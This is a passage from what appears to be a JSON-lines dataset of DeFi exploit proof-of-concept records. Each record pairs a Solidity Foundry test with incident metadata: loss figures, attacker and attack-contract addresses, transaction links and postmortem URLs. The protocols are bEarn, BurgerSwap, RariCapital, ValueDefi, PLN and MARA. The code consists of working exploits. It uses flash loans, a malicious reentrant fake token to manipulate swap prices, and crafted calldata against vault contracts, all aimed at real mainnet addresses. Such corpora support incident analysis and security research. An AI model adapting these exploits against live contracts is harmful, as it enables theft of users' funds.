{\n uint256 blocknumToForkFrom = 7_457_124;\n\n address internal CreamFi = 0x2Bc4eb013DDee29D37920938B96d353171289B7C;\n address internal BUSD = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;\n address internal bVault = 0xB390B07fcF76678089cb12d8E615d5Fe494b01Fb;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = address(BUSD);\n }\n\n function testExploit() public balanceLog {\n //implement exploit code here\n address receiver = address(this);\n uint256 amount = ICreamFi(CreamFi).getCash();\n ICreamFi(CreamFi).flashLoan(receiver, amount, \"1\");\n }\n\n function executeOperation(address, address underlying, uint256 amount, uint256 fee, bytes memory) external {\n IERC20(BUSD).approve(bVault, type(uint256).max);\n\n for (uint256 i = 0; i < 10; i++) {\n IBVault(bVault).deposit(13, IERC20(underlying).balanceOf(address(this)) - 1);\n IBVault(bVault).emergencyWithdraw(13);\n }\n\n IERC20(BUSD).transfer(CreamFi, amount + fee);\n }\n}\n", "type": "exploit_poc", "protocol": "bEarn", "date": "2021-05", "file_name": "bEarn_exp.sol", "attack_vector": "flash_loan", "content_hash": "97e91b898243c028", "collected_at": "2026-01-07T10:59:16.533241", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "11M", "total_lost_usd": 11000000.0, "attacker_address": "https://bscscan.com/address/0x47f341d896b08daacb344d9021f955247e50d089", "attack_contract": "https://bscscan.com/address/0xef39f14213714001456e2e89eddbdf8c850c3be6", "vulnerable_contract": "https://bscscan.com/address/0xb390b07fcf76678089cb12d8e615d5fe494b01fb", "attack_tx": "https://bscscan.com/tx/0x603b2bbe2a7d0877b22531735ff686a7caad866f6c0435c37b7b49e4bfd9a36c", "postmortem_url": "https://bearndao.medium.com/bvaults-busd-alpaca-strategy-exploit-post-mortem-and-bearn-s-compensation-plan-b0b38c3b5540", "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "critical", "severity_raw": "11M", "category": "flash-loan", "exploit_code": "function testExploit() public balanceLog {\n //implement exploit code here\n address receiver = address(this);\n uint256 amount = ICreamFi(CreamFi).getCash();\n ICreamFi(CreamFi).flashLoan(receiver, amount, \"1\");\n }", "has_exploit_code": true, "keyinfo_total_lost": "11M", "keyinfo_attacker": "https://bscscan.com/address/0x47f341d896b08daacb344d9021f955247e50d089", "keyinfo_attack_contract": "https://bscscan.com/address/0xef39f14213714001456e2e89eddbdf8c850c3be6", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xb390b07fcf76678089cb12d8e615d5fe494b01fb", "keyinfo_attack_tx": "https://bscscan.com/tx/0x603b2bbe2a7d0877b22531735ff686a7caad866f6c0435c37b7b49e4bfd9a36c", "analysis_postmortem": "https://bearndao.medium.com/bvaults-busd-alpaca-strategy-exploit-post-mortem-and-bearn-s-compensation-plan-b0b38c3b5540", "analysis_twitter": "", "funds_lost_formatted": "$11.00M", "content_richness_score": 8.21, "quality_estimate": "high", "title": "bEarn Exploit (2021-05)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.17;\n\nimport \"forge-std/Test.sol\";\n\n// Attacker: 0x6c9f2b95ca3432e5ec5bcd9c19de0636a23a4994\n// Attack Contract: 0xae0f538409063e66ff0e382113cb1a051fc069cd\n// Objective: Drain funds in the vulnerable Burger LP contract: 0x7ac55ac530f2c29659573bde0700c6758d69e677 (Demax WBNB<>BURGER pair)\n// Attack Tx: https://phalcon.xyz/tx/bsc/0xac8a739c1f668b13d065d56a03c37a686e0aa1c9339e79fcbc5a2d0a6311e333\n// https://bscscan.com/tx/0xac8a739c1f668b13d065d56a03c37a686e0aa1c9339e79fcbc5a2d0a6311e333\n\n// @Analyses (somewhat similar to Impossible Finance exploit)\n// https://lunaray.medium.com/burgerswap-attack-analysis-c0345541d69\n// https://quillhashteam.medium.com/burgerswap-flash-loan-attack-analysis-888b1911daef\n\ncontract Exploit is Test {\n IERC20 private constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IERC20 private constant BURGER = IERC20(0xAe9269f27437f0fcBC232d39Ec814844a51d6b8f);\n\n IUniswapV2Pair private constant USDT_WBNB = IUniswapV2Pair(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);\n\n IDemaxPlatform private constant demaxPlatform = IDemaxPlatform(0xBf6527834dBB89cdC97A79FCD62E6c08B19F8ec0); // router\n IDemaxDelegate private constant demaxDelegate = IDemaxDelegate(0xd0dd735851C1Ca61d0324291cCD3959d2153A88d); // factory\n\n FAKE_TOKEN FAKE;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 7_781_159);\n }\n\n function testExploit() public {\n // BURGER and WBNB in Pair before: 164603 <> 3038\n USDT_WBNB.swap(0, 6_047_132_230_250_298_663_393, address(this), \"Flashloan 6047 WBNB\");\n // BURGER and WBNB in Pair after: 53606 <> 622\n\n console.log(\"BURGER exploited:\", BURGER.balanceOf(address(this)) / 1e18);\n console.log(\"WBNB exploited:\", WBNB.balanceOf(address(this)) / 1e18);\n }\n\n function pancakeCall(address, uint256, uint256 amount1, bytes memory) public {\n // swap 6047 WBNB for 92677 BURGER (pump BURGER price)\n WBNB.approve(address(demaxPlatform), type(uint256).max);\n BURGER.approve(address(demaxPlatform), type(uint256).max);\n\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(BURGER);\n demaxPlatform.swapExactTokensForTokens(WBNB.balanceOf(address(this)), 0, path, address(this), type(uint256).max);\n\n // create FAKE token, create FAKE<>BURGER pair and add 100 FAKE <> 45452 BURGER liquidity (addLiquidity() creates Pair if Pair doesn't exist)\n FAKE = new FAKE_TOKEN(address(this));\n\n FAKE.approve(address(demaxPlatform), type(uint256).max);\n BURGER.approve(address(demaxDelegate), type(uint256).max);\n demaxDelegate.addLiquidity(address(FAKE), address(BURGER), 100, 45_452 ether, 0, 0, type(uint256).max); // 47225 BURGER left after addLiquidity()\n\n FAKE.enableExploit();\n\n // use malicious path to swap 1 FAKE -> 45452 BURGER -> 4478 WBNB (will use false amounts which were already calculated before the inner swap) [Second swap]\n // and another 45452 BURGER -> 4478 WBNB (same price, no slippage incurred) [First swap]\n /* \n WBNB -> BURGER ----> FAKE <> BURGER \n\n FAKE -----------------> BURGER -> WBNB\n | ^\n v |\n BURGER -> WBNB | \n */\n address[] memory path2 = new address[](3);\n path2[0] = address(FAKE);\n path2[1] = address(BURGER);\n path2[2] = address(WBNB);\n demaxPlatform.swapExactTokensForTokens(1 ether, 0, path2, address(this), type(uint256).max); // trigger transferFrom() hook in FAKE then enter()\n\n // swap 494 WBNB for 108k BURGER (small amount of WBNB for large amount of BURGER) to bring back normal price\n path[0] = address(WBNB);\n path[1] = address(BURGER);\n demaxPlatform.swapTokensForExactTokens(108_791 ether, 494 ether, path, address(this), type(uint256).max);\n\n // repay 0.3% fee\n WBNB.transfer(address(USDT_WBNB), amount1 * 1000 / 997);\n }\n\n function enter() public {\n // swap another 45452 BURGER for 4478 WBNB (this inner BURGER -> WBNB swap uses the correct reserves) and is not locked yet\n address[] memory path = new address[](2);\n path[0] = address(BURGER);\n path[1] = address(WBNB);\n demaxPlatform.swapExactTokensForTokens(45_452 ether, 0, path, address(this), type(uint256).max);\n\n FAKE.disableExploit();\n }\n}\n\ncontract FAKE_TOKEN {\n uint256 public totalSupply = 100 ether;\n mapping(address => uint256) public balanceOf;\n mapping(address => mapping(address => uint256)) public allowance;\n\n Exploit private immutable exploit;\n bool private isExploiting;\n\n constructor(\n address main\n ) {\n balanceOf[main] = 99 ether;\n exploit = Exploit(main);\n }\n\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {\n unchecked {\n allowance[sender][msg.sender] -= amount;\n balanceOf[sender] -= amount;\n balanceOf[recipient] += amount;\n }\n\n if (isExploiting) {\n exploit.enter();\n }\n return true;\n }\n\n function enableExploit() public {\n isExploiting = true;\n }\n\n function disableExploit() public {\n isExploiting = false;\n }\n\n function transfer(address, uint256) external pure returns (bool) {\n return true;\n }\n\n function approve(address, uint256) external pure returns (bool) {\n return true;\n }\n}\n\n/* ---------------------- Interface ---------------------- */\ninterface IERC20 {\n function transfer(address to, uint256 amount) external returns (bool);\n function approve(address spender, uint256 amount) external returns (bool);\n function balanceOf(\n address account\n ) external view returns (uint256);\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\n}\n\ninterface IDemaxPlatform {\n function swapExactTokensForTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] memory path,\n address to,\n uint256 deadline\n ) external returns (uint256[] memory amounts);\n\n function swapTokensForExactTokens(\n uint256 amountOut,\n uint256 amountInMax,\n address[] memory path,\n address to,\n uint256 deadline\n ) external returns (uint256[] memory amounts);\n}\n\ninterface IDemaxDelegate {\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n}\n\ninterface IUniswapV2Pair {\n function balanceOf(\n address\n ) external view returns (uint256);\n function skim(\n address to\n ) external;\n function sync() external;\n function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes memory data) external;\n}\n", "type": "exploit_poc", "protocol": "BurgerSwap", "date": "2021-05", "file_name": "BurgerSwap_exp.sol", "attack_vector": "flash_loan", "content_hash": "49e19e7f6d6dbc56", "collected_at": "2026-01-07T10:59:16.533285", "_source": "postmortems", "chain": "bsc", "block_number": 7781159, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://phalcon.xyz/tx/bsc/0xac8a739c1f668b13d065d56a03c37a686e0aa1c9339e79fcbc5a2d0a6311e333", "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n // BURGER and WBNB in Pair before: 164603 <> 3038\n USDT_WBNB.swap(0, 6_047_132_230_250_298_663_393, address(this), \"Flashloan 6047 WBNB\");\n // BURGER and WBNB in Pair after: 53606 <> 622\n\n console.log(\"BURGER exploited:\", BURGER.balanceOf(address(this)) / 1e18);\n console.log(\"WBNB exploited:\", WBNB.balanceOf(address(this)) / 1e18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://phalcon.xyz/tx/bsc/0xac8a739c1f668b13d065d56a03c37a686e0aa1c9339e79fcbc5a2d0a6311e333", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 8, "quality_estimate": "high", "title": "BurgerSwap Exploit (2021-05)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n/*\n Attack tx: https://etherscan.com/tx/0x171072422efb5cd461546bfe986017d9b5aa427ff1c07ebe8acc064b13a7b7be\n Tenderly.co: https://dashboard.tenderly.co/tx/mainnet/0x171072422efb5cd461546bfe986017d9b5aa427ff1c07ebe8acc064b13a7b7be/\n Debug transaction: https://phalcon.blocksec.com/tx/eth/0x171072422efb5cd461546bfe986017d9b5aa427ff1c07ebe8acc064b13a7b7be\n \n run: forge test --contracts ./src/test/RariCapital_exp.sol -vvv */\ninterface Bank {\n function work(uint256 id, address goblin, uint256 loan, uint256 maxReturn, bytes calldata data) external payable;\n}\n\ncontract ContractTest is Test {\n Bank vault = Bank(0x67B66C99D3Eb37Fa76Aa3Ed1ff33E8e39F0b9c7A);\n IERC20 fakeToken = IERC20(payable(0x2f755e8980f0c2E81681D82CCCd1a4BD5b4D5D46));\n address attacker = address(0xCB36b1ee0Af68Dce5578a487fF2Da81282512233);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 12_394_009); //fork bsc at block 12394009\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"[Start] ETH Balance of attacker\", attacker.balance, 18);\n\n bytes memory data =\n hex\"00000000000000000000000081796c4602b82054a727527cd16119807b8c7608000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000600000000000000000000000002f755e8980f0c2e81681d82cccd1a4bd5b4d5d4600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\";\n\n cheats.startPrank(0xCB36b1ee0Af68Dce5578a487fF2Da81282512233, 0xCB36b1ee0Af68Dce5578a487fF2Da81282512233);\n (bool success, bytes memory result) = address(0x2f755e8980f0c2E81681D82CCCd1a4BD5b4D5D46).call{\n value: 1_031_000_000_000_000_000_000\n }(abi.encodeWithSignature(\"donate()\"));\n\n vault.work{value: 100_000_000}(\n 0, 0x9EED7274Ea4b614ACC217e46727d377f7e6F9b24, 0, 100_000_000_000_000_000_000_000, data\n );\n\n emit log_named_decimal_uint(\"[End] ETH Balance of attacker\", attacker.balance, 18);\n }\n}\n", "type": "exploit_poc", "protocol": "RariCapital", "date": "2021-05", "file_name": "RariCapital_exp.sol", "attack_vector": null, "content_hash": "83f41b9e9c1e7629", "collected_at": "2026-01-07T10:59:16.533349", "_source": "postmortems", "chain": "unknown", "block_number": 12394009, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://etherscan.com/tx/0x171072422efb5cd461546bfe986017d9b5aa427ff1c07ebe8acc064b13a7b7be", "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"[Start] ETH Balance of attacker\", attacker.balance, 18);\n\n bytes memory data =\n hex\"00000000000000000000000081796c4602b82054a727527cd16119807b8c7608000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000600000000000000000000000002f755e8980f0c2e81681d82cccd1a4bd5b4d5d4600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\";\n\n cheats.startPrank(0xCB36b1ee0Af68Dce5578a487fF2Da81282512233, 0xCB36b1ee0Af68Dce5578a487fF2Da81282512233);\n (bool success, bytes memory result) = address(0x2f755e8980f0c2E81681D82CCCd1a4BD5b4D5D46).call{\n value: 1_031_000_000_000_000_000_000\n }(abi.encodeWithSignature(\"donate()\"));\n\n vault.work{value: 100_000_000}(\n 0, 0x9EED7274Ea4b614ACC217e46727d377f7e6F9b24, 0, 100_000_000_000_000_000_000_000, data\n );\n\n emit log_named_decimal_uint(\"[End] ETH Balance of attacker\", attacker.balance, 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.15, "quality_estimate": "low", "title": "RariCapital Exploit (2021-05)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n/*\n Attack tx: https://bscscan.com/tx/0xa00def91954ba9f1a1320ef582420d41ca886d417d996362bf3ac3fe2bfb9006\n Tenderly.co: https://dashboard.tenderly.co/tx/bsc/0xa00def91954ba9f1a1320ef582420d41ca886d417d996362bf3ac3fe2bfb9006/\n Debug transaction: https://phalcon.blocksec.com/tx/bsc/0xa00def91954ba9f1a1320ef582420d41ca886d417d996362bf3ac3fe2bfb9006\n \n run: forge test --contracts ./src/test/ValueDefi_exp.sol -vvv */\n\ninterface AlpacaWBNBVault {\n function work(\n uint256 id,\n address worker,\n uint256 principalAmount,\n uint256 loan,\n uint256 maxReturn,\n bytes calldata data\n ) external payable;\n}\n\ncontract ContractTest is Test {\n AlpacaWBNBVault vault = AlpacaWBNBVault(0xd7D069493685A581d27824Fc46EdA46B7EfC0063);\n IWBNB wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n IERC20 vSafeVaultWBNB = IERC20(payable(0xD4BBF439d3EAb5155Ca7c0537E583088fB4CFCe8));\n address attacker = address(0xCB36b1ee0Af68Dce5578a487fF2Da81282512233);\n address attackerContract = address(0x4269e4090FF9dFc99D8846eB0D42E67F01C3AC8b);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 7_223_029); //fork bsc at block 7223029\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"[Start] WBNB Balance of attacker\", wbnb.balanceOf(attacker), 18);\n\n bytes memory data =\n hex\"000000000000000000000000e38ebfe8f314dcad61d5adcb29c1a26f41bed0be00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000060000000000000000000000000bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c0000000000000000000000004269e4090ff9dfc99d8846eb0d42e67f01c3ac8b0000000000000000000000000000000000000000000000000000000000000000\";\n\n cheats.startPrank(0xCB36b1ee0Af68Dce5578a487fF2Da81282512233, 0xCB36b1ee0Af68Dce5578a487fF2Da81282512233);\n\n vault.work{value: 1 ether}(\n 0,\n 0x7Af938f0EFDD98Dc513109F6A7E85106D26E16c4,\n 1_000_000_000_000_000_000,\n 393_652_744_565_353_082_751_500,\n 1_000_000_000_000_000_000_000_000,\n data\n );\n\n emit log_named_decimal_uint(\"[End] WBNB balance of attacker after exploit\", wbnb.balanceOf(attacker), 18);\n\n emit log_named_decimal_uint(\n \"[End] Attacker vSafeWBNB balance after exploit\", vSafeVaultWBNB.balanceOf(attacker), 18\n );\n }\n}\n", "type": "exploit_poc", "protocol": "ValueDefi", "date": "2021-05", "file_name": "ValueDefi_exp.sol", "attack_vector": null, "content_hash": "a2010785f7605cf5", "collected_at": "2026-01-07T10:59:16.533393", "_source": "postmortems", "chain": "bsc", "block_number": 7223029, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://bscscan.com/tx/0xa00def91954ba9f1a1320ef582420d41ca886d417d996362bf3ac3fe2bfb9006", "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"[Start] WBNB Balance of attacker\", wbnb.balanceOf(attacker), 18);\n\n bytes memory data =\n hex\"000000000000000000000000e38ebfe8f314dcad61d5adcb29c1a26f41bed0be00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000060000000000000000000000000bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c0000000000000000000000004269e4090ff9dfc99d8846eb0d42e67f01c3ac8b0000000000000000000000000000000000000000000000000000000000000000\";\n\n cheats.startPrank(0xCB36b1ee0Af68Dce5578a487fF2Da81282512233, 0xCB36b1ee0Af68Dce5578a487fF2Da81282512233);\n\n vault.work{value: 1 ether}(\n 0,\n 0x7Af938f0EFDD98Dc513109F6A7E85106D26E16c4,\n 1_000_000_000_000_000_000,\n 393_652_744_565_353_082_751_500,\n 1_000_000_000_000_000_000_000_000,\n data\n );\n\n emit log_named_decimal_uint(\"[End] WBNB balance of attacker after exploit\", wbnb.balanceOf(attacker), 18);\n\n emit log_named_decimal_uint(\n \"[End] Attacker vSafeWBNB balance after exploit\", vSafeVaultWBNB.balanceOf(attacker), 18\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.33, "quality_estimate": "low", "title": "ValueDefi Exploit (2021-05)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 400k USD\n// Attacker : https://etherscan.io/address/0x67404bcd629E920100c594d62f3678340F40D95a\n// Attack Contract : https://etherscan.io/address/0xbe01c53AD466Ef011e3f8A67F6e23C34E2e9976C\n// Vulnerable Contract : https://etherscan.io/address/0xe0c218e1633a5c76d57ff4f11149f07bfff16aea\n// Attack Tx : https://etherscan.io/tx/0xcc36283cee837a8a0d4af0357d1957dc561913e44ad293ea9da8acf15d874ed5\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0xe0c218e1633a5c76d57ff4f11149f07bfff16aea\n\n// @Analysis\n// Post-mortem : https://x.com/TenArmorAlert/status/1831525062253654300\n// Twitter Guy : https://x.com/TenArmorAlert/status/1831525062253654300\n// Hacking God : N/A\n\n\naddress constant weth9 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\naddress constant UniswapV2Router02 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\naddress constant PLNTOKEN = 0xe0c218e1633A5C76d57Ff4f11149F07BfFF16aeA;\naddress constant addr = 0x3f5a63B89773986Fd436a65884fcD321DE77B832;\naddress constant attacker = 0x67404bcd629E920100c594d62f3678340F40D95a;\naddress constant dead = 0x000000000000000000000000000000000000dEaD;\n\n\ncontract ContractTest is Test {\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 20681142);\n deal(attacker, 0.9 ether);\n }\n \n function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n attC.attack{value: 0.9 ether}();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n }\n}\n\n// 0xbe01c53AD466Ef011e3f8A67F6e23C34E2e9976C\ncontract AttackerC {\n receive() external payable {}\n\n function attack() public payable {\n // WETH deposit with msg.value\n IWETH9(weth9).deposit{value: msg.value}();\n\n // Approvals\n IWETH9(weth9).approve(UniswapV2Router02, type(uint256).max);\n IPLNTOKEN(PLNTOKEN).approve(UniswapV2Router02, type(uint256).max);\n\n // Swap WETH -> PLN using amountIn = msg.value\n address[] memory path1 = new address[](2);\n path1[0] = weth9;\n path1[1] = PLNTOKEN;\n IUniswapV2Router02(UniswapV2Router02).swapExactTokensForTokensSupportingFeeOnTransferTokens(\n msg.value,\n 0,\n path1,\n address(this),\n block.timestamp\n );\n\n // transferFrom(addr -> dead, 0)\n IPLNTOKEN(PLNTOKEN).transferFrom(addr, dead, 0);\n\n // balanceOf(this)\n uint256 balPLN = IPLNTOKEN(PLNTOKEN).balanceOf(address(this));\n\n // Swap PLN -> WETH using amountIn = balPLN\n address[] memory path2 = new address[](2);\n path2[0] = PLNTOKEN;\n path2[1] = weth9;\n IUniswapV2Router02(UniswapV2Router02).swapExactTokensForTokensSupportingFeeOnTransferTokens(\n balPLN,\n 0,\n path2,\n address(this),\n block.timestamp\n );\n\n // WETH balance and withdraw\n uint256 balWETH = IWETH9(weth9).balanceOf(address(this));\n IWETH9(weth9).withdraw(balWETH);\n\n // send all ETH to tx.origin per trace (caller in decompile)\n payable(tx.origin).call{value: address(this).balance}(\"\");\n }\n \n fallback() external payable {}\n}\n\ninterface IWETH9 {\n\tfunction balanceOf(address) external view returns (uint256);\n\tfunction withdraw(uint256) external;\n\tfunction approve(address, uint256) external returns (bool);\n\tfunction deposit() external payable; \n}\ninterface IUniswapV2Router02 {\n\tfunction swapExactTokensForTokensSupportingFeeOnTransferTokens(uint256, uint256, address[] calldata, address, uint256) external; \n}\ninterface IPLNTOKEN {\n\tfunction transferFrom(address, address, uint256) external returns (bool);\n\tfunction balanceOf(address) external view returns (uint256);\n\tfunction approve(address, uint256) external returns (bool); \n}", "type": "exploit_poc", "protocol": "PLN", "date": "2024-09", "file_name": "PLN_exp.sol", "attack_vector": null, "content_hash": "5531d8c6ec4fdda5", "collected_at": "2026-01-07T10:59:16.533445", "_source": "postmortems", "chain": "ethereum", "block_number": 20681142, "total_lost_raw": "400k USD", "total_lost_usd": 400000.0, "attacker_address": "https://etherscan.io/address/0x67404bcd629E920100c594d62f3678340F40D95a", "attack_contract": "https://etherscan.io/address/0xbe01c53AD466Ef011e3f8A67F6e23C34E2e9976C", "vulnerable_contract": "https://etherscan.io/address/0xe0c218e1633a5c76d57ff4f11149f07bfff16aea", "attack_tx": "https://etherscan.io/tx/0xcc36283cee837a8a0d4af0357d1957dc561913e44ad293ea9da8acf15d874ed5", "postmortem_url": "https://x.com/TenArmorAlert/status/1831525062253654300", "twitter_url": "https://x.com/TenArmorAlert/status/1831525062253654300", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "high", "severity_raw": "400k USD", "category": "unknown", "exploit_code": "function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n attC.attack{value: 0.9 ether}();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n }\n}\n\n// 0xbe01c53AD466Ef011e3f8A67F6e23C34E2e9976C\ncontract AttackerC {\n receive() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "400k USD", "keyinfo_attacker": "https://etherscan.io/address/0x67404bcd629E920100c594d62f3678340F40D95a", "keyinfo_attack_contract": "https://etherscan.io/address/0xbe01c53AD466Ef011e3f8A67F6e23C34E2e9976C", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xe0c218e1633a5c76d57ff4f11149f07bfff16aea", "keyinfo_attack_tx": "https://etherscan.io/tx/0xcc36283cee837a8a0d4af0357d1957dc561913e44ad293ea9da8acf15d874ed5", "analysis_postmortem": "https://x.com/TenArmorAlert/status/1831525062253654300", "analysis_twitter": "https://x.com/TenArmorAlert/status/1831525062253654300", "funds_lost_formatted": "$400.0K", "content_richness_score": 8.04, "quality_estimate": "high", "title": "PLN Exploit (2024-09)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "import \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : ~8.8 WBNB\n// Attacker : 0x3026c464d3bd6ef0ced0d49e80f171b58176ce32\n// Attack Contract : 0x1c4684b838cf4344c152ba18650d1524af4f0f12\n// Vulnerable Contract : 0xc6a8c02dd5a3dd1616ec072bfc7c9d3df9682a63\n// Attack Tx : https://bscscan.com/tx/0x0fe3716431f8c2e43217c3ca6d25eed87e14d0fbfa9c9ee8ce4cef2e5ec4583c\n\ncontract ContractTest is Test {\n DVM dvm = DVM(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);\n IWBNB wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n IPancakePair pancake = IPancakePair(0x6E82575Ffa729471b9B412d689EC692225b1fFcB);\n address router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\n address victim = 0xc6A8C02dd5A3DD1616eC072BFC7c9d3DF9682A63;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() external {\n cheats.createSelectFork(\"bsc\", 42_538_916 - 1);\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\"[Begin] Attacker WBNB before exploit\", wbnb.balanceOf(address(this)), 18);\n\n bytes memory data =\n hex\"0000000000000000000000006098a5638d8d7e9ed2f952d35b2b67c34ec6b476000000000000000000000000bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c00000000000000000000000000000000000000000000000098a7d9b8314c0000\";\n uint256 amount = 11 ether;\n dvm.flashLoan(amount, 0, address(this), data);\n\n emit log_named_decimal_uint(\"[End] Attacker WBNB after exploit\", wbnb.balanceOf(address(this)), 18);\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n wbnb.withdraw(baseAmount);\n wbnb.approve(router, 10_000_000_000_000_000_000_000_000_000);\n bytes memory encoded =\n hex\"5fc985ea000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000020000000000000000000000006e82575ffa729471b9b412d689ec692225b1ffcb0000000000000000000000006e82575ffa729471b9b412d689ec692225b1ffcb0000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\";\n // console.logBytes(encoded);\n (bool success,) = victim.call{value: 11 ether}(encoded);\n\n require(success, \"Call failed\");\n\n uint256 amountOut = 19_800_000_000_000_000_000;\n\n pancake.swap(0, amountOut, address(this), \"\");\n\n wbnb.transfer(address(dvm), baseAmount);\n // uint256 remain = wbnb.balanceOf(address(this));\n // wbnb.transfer(msg.sender, remain);\n }\n\n fallback() external payable {}\n}\n", "type": "exploit_poc", "protocol": "MARA", 